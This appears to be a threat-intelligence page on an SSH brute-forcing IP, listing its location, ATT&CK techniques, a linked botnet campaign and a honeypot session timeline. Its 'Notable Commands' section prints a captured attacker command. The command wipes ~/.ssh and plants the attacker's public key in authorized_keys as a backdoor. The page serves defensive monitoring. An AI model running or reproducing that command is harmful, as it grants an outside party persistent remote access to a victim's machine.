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138.199.53.227

TAGGED SUSPICIOUS how we decide →

Threat Confidence

57%

Location

🇷🇴 RO / Bucharest

ASN

AS60068 · Datacamp Limited

Cloud Provider

—

Total Events

165

Above average by volume

Agent Count

First / Last Seen

2026-06-02 02:36 — 2026-06-02 03:03

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-06-02 05:01

blocklist_de:reported

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (965 IPs, 87 countries) HASSH Active high 🇨🇳 CN

965 IPs 410304 events

http:scanssh:bruteforce

2026-02-25 — ongoing · 965 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …

Session Forensics

malware_dropper ×5 credential_probe ×15 opportunistic_bruter ×5

Sessions

25 (10 with login)

Avg Depth Score

0.42

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Credential Probe c7af6ea12b9c newark_01 · 2026-06-02 03:03

1 20%

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Opportunistic Bruter b5ac33b9d498 newark_01 · 2026-06-02 03:02

1 50%

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Credential Probe 2e1060746adb newark_01 · 2026-06-02 03:02

1 20%

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Malware Dropper 7f78b092c644 newark_01 · 2026-06-02 03:02

3 1 1 100%

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Credential Probe efa8f266be90 newark_01 · 2026-06-02 03:00

1 20%

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Opportunistic Bruter 71251cf55b3d newark_01 · 2026-06-02 02:59

1 50%

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Malware Dropper b68ae8154ce9 newark_01 · 2026-06-02 02:58

3 1 1 100%

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Credential Probe 2edbad065414 newark_01 · 2026-06-02 02:58

1 20%

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Credential Probe 452a701c627b newark_01 · 2026-06-02 02:57

1 20%

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Malware Dropper 6359941fc38a newark_01 · 2026-06-02 02:55

3 1 1 100%

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Opportunistic Bruter 4d510420f22a newark_01 · 2026-06-02 02:55

1 50%

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Credential Probe 08da40ba58ce newark_01 · 2026-06-02 02:55

1 20%

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Credential Probe f6ec309e39b6 newark_01 · 2026-06-02 02:54

1 20%

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Credential Probe 2372eb7b98b8 newark_01 · 2026-06-02 02:52

1 20%

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Opportunistic Bruter 051328c5dc7b newark_01 · 2026-06-02 02:51

1 50%

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Malware Dropper a505fddf34e3 newark_01 · 2026-06-02 02:51

3 1 1 100%

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Credential Probe ee0a89b057f9 newark_01 · 2026-06-02 02:51

1 20%

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Credential Probe a26d1976f305 newark_01 · 2026-06-02 02:49

1 20%

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Credential Probe 43b1c9dbdd48 newark_01 · 2026-06-02 02:47

1 20%

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Malware Dropper df2cc47bad88 newark_01 · 2026-06-02 02:46

3 1 1 100%

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Opportunistic Bruter 1b9ced10527a newark_01 · 2026-06-02 02:46

1 50%

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Credential Probe 8247529e497c newark_01 · 2026-06-02 02:46

1 20%

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Credential Probe a0f3fee46b5d newark_01 · 2026-06-02 02:44

1 20%

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Credential Probe 02f582798467 newark_01 · 2026-06-02 02:43

1 20%

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Credential Probe bb470384c0bb newark_01 · 2026-06-02 02:36

1 20%

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